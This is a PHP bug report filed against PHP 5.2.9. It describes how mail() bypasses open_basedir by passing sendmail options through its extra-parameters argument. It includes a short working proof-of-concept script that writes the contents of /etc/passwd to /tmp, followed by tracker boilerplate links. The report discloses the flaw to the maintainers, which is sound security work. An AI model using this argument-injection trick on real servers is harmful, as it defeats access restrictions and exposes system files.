From: root at 80sec dot com
Operating system: linux
PHP version: 5.2.9
PHP Bug Type: Safe Mode/open_basedir
Bug description: php mail function open_basedir bypass
Description:
------------
The mail function may bypass open_basedir or read/write arbitrary
file.
Reproduce code:
---------------
<?php
$to = 'jian...@80sec.com'.str_repeat("x",10000);
$subject = 'the subject'.str_repeat("x",10);
$message = 'hello'.str_repeat("x",10);
mail($to, $subject, $message, $headers,"-v -bt -X /tmp/80sec -d13 -C
/etc/passwd");
?>
Expected result:
----------------
we can get the contents of /etc/passwd in /tmp/80sec.
Actual result:
--------------
we can get the contents of /etc/passwd in /tmp/80sec.
--
Edit bug report at http://bugs.php.net/?id=48229&edit=1
--
Try a CVS snapshot (PHP 5.2):
http://bugs.php.net/fix.php?id=48229&r=trysnapshot52
Try a CVS snapshot (PHP 5.3):
http://bugs.php.net/fix.php?id=48229&r=trysnapshot53
Try a CVS snapshot (PHP 6.0):
http://bugs.php.net/fix.php?id=48229&r=trysnapshot60
Fixed in CVS:
http://bugs.php.net/fix.php?id=48229&r=fixedcvs
Fixed in CVS and need be documented:
http://bugs.php.net/fix.php?id=48229&r=needdocs
Fixed in release:
http://bugs.php.net/fix.php?id=48229&r=alreadyfixed
Need backtrace:
http://bugs.php.net/fix.php?id=48229&r=needtrace
Need Reproduce Script:
http://bugs.php.net/fix.php?id=48229&r=needscript
Try newer version:
http://bugs.php.net/fix.php?id=48229&r=oldversion
Not developer issue:
http://bugs.php.net/fix.php?id=48229&r=support
Expected behavior:
http://bugs.php.net/fix.php?id=48229&r=notwrong
Not enough info:
http://bugs.php.net/fix.php?id=48229&r=notenoughinfo
Submitted twice:
http://bugs.php.net/fix.php?id=48229&r=submittedtwice
register_globals:
http://bugs.php.net/fix.php?id=48229&r=globals
PHP 4 support discontinued: http://bugs.php.net/fix.php?id=48229&r=php4
Daylight Savings: http://bugs.php.net/fix.php?id=48229&r=dst
IIS Stability:
http://bugs.php.net/fix.php?id=48229&r=isapi
Install GNU Sed:
http://bugs.php.net/fix.php?id=48229&r=gnused
Floating point limitations:
http://bugs.php.net/fix.php?id=48229&r=float
No Zend Extensions:
http://bugs.php.net/fix.php?id=48229&r=nozend
MySQL Configuration Error:
http://bugs.php.net/fix.php?id=48229&r=mysqlcfg
